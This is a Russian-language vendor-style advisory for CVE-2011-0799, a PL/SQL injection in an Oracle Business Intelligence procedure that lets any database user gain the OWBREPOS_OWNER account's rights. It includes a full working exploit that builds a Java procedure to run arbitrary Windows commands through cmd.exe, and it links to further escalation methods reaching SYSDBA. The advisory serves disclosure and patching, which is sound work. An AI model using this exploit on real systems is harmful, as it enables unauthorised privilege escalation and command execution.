
CVE-2011-0799: Повышение привилегий
Вендор
Oracle
Продукт
Oracle Business Intelligence Standard Edition One 10.1.3.2.1 and others
Тип уязвимости
Повышение привилегий
Reported
20.04.2009
Date of Public Advisory
23.05.2011
Подтверждение
Автор
Александр Поляков
Детальное описание
Процедура OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SET_ID выполняется с правами пользователя OWBREPOS_OWNER и предоставляется пользователю PUBLIC. Эксплуатация уязвимости в этой процедуре может дать любому пользователю права OWBREPOS_OWNER. У OWBREPOS_OWNER есть ряд критичных ролей и привилегий.
PL/SQL инъекция обнаружена в процедуре OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID
Уязвимые параметры:
Argument Name Type In/Out Defaul
P_CUBE_NAME VARCHAR2 IN
P_MEASURE_NAME VARCHAR2 IN
P_SOLVE_GROUP_ID VARCHAR2 IN
Аргумент P_CUBE_NAME не санитизован, поэтому злоумышленник может внедрить SQL код, который будет исполнен с правами OWBREPOS_OWNER. OWBREPOS_OWNER не является администратором баз данных (DBA), но у него есть ряд критичных ролей и привилегий, которые могут быть использованы для просмотра любых данных в таблицах базы данных, включая хеши пользователей, а также для получения доступа к файлам ОС, исполнения команд ОС и получения прав SYSDBA.
Критичные роли и привилегии
1. SELECT ANY DICTIONARY
2. JAVA_ADMIN
3. CREATE EXTERNAL JOB
4. CREATE ANY DIRECTORY
Эксплойт
1.2. У OWBREPOS_OWNER есть роль «JAVA_ADMIN», поэтому он может выполнять любые команды ОС с привилегиями Owner of Oracle BI process (по умолчанию в Windows это пользователь LOCAL SYSTEM).
Пример эксплойта
CREATE OR REPLACE FUNCTION «SCOTT».»SQLI» return varchar2
authid current_user as
pragma autonomous_transaction;
SqlCommand VARCHAR2(2048);
BEGIN
SqlCommand := ‘
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED «SRC_EXECUTEOS» AS
import java.lang.*;
import java.io.*;
public class ExecuteOS
{
public static void printFile (String fileName) throws IOException
{
File fileOut;
FileReader fileReaderOut;
BufferedReader buffReader;
String strRead;
fileOut = new File (fileName);
fileReaderOut = new FileReader (fileOut);
buffReader = new BufferedReader(fileReaderOut);
while ((strRead = buffReader.readLine()) != null)
System.out.println(strRead);
}
public static void execOSCmd (String cmd) throws IOException, java.lang.InterruptedException
{
String[] strCmd = {«cmd.exe», «/c», «1>c:\\stdout.txt», «2>c:\\stderr.txt», cmd};
System.out.println(«==========\r\nExecuting OS command…»);
Process p = Runtime.getRuntime().exec(strCmd);
p.waitFor();
System.out.println(«\r\n==========\r\nThis was the STANDARD OUTPUT for the command:»);
printFile («c:\\stdout.txt»);
System.out.println(«\r\n==========\r\nThis was the ERROR OUTPUT for the command:»);
printFile («c:\\stderr.txt»);
}
}’;
execute immediate SqlCommand;
SqlCommand := ‘
CREATE OR REPLACE PROCEDURE «PROC_EXECUTEOS» (p_command varchar2)
AS LANGUAGE JAVA
NAME »ExecuteOS.execOSCmd (java.lang.String)»;’;
execute immediate SqlCommand;
execute immediate ‘GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT’;
commit; — Must do a commit
return »; — Must return a value
END;
/
grant execute on SCOTT.SQLI to PUBLIC;
/
SET SERVEROUTPUT ON
/
exec OWBREPOS_OWNER.WB_OLAP_AW_SET_SOLVE_ID(‘aaa»||SCOTT.SQLI()||»aaa’,’bbb’,’bbb’);
/
CALL dbms_java.set_output(1999);
/
EXEC OWBREPOS_OWNER.proc_executeos (‘set’);
/
1.3. У OWBREPOS_OWNER есть привилегия «CREATE EXTERNAL JOB», поэтому он может выполнять любые команды ОС, как, например, в этом эксплойте (http://milw0rm.com/exploits/7677)
1.4. У OWBREPOS_OWNER есть привилегия «CREATE ANY DIRECTORY», поэтому он может получить привилегии SYSDBA или выполнять любые команды ОС, например, этим методом:
http://www.oracleforensics.com/wordpress/wp-content/uploads/2008/10/create_any_directory_to_sysdba.pdf
Решение
Решение этой проблемы представлено в SAP Oracle Critical patch update April 2011.
http://www.oracle.com/technetwork/topics/security/cpuapr2011-301950.html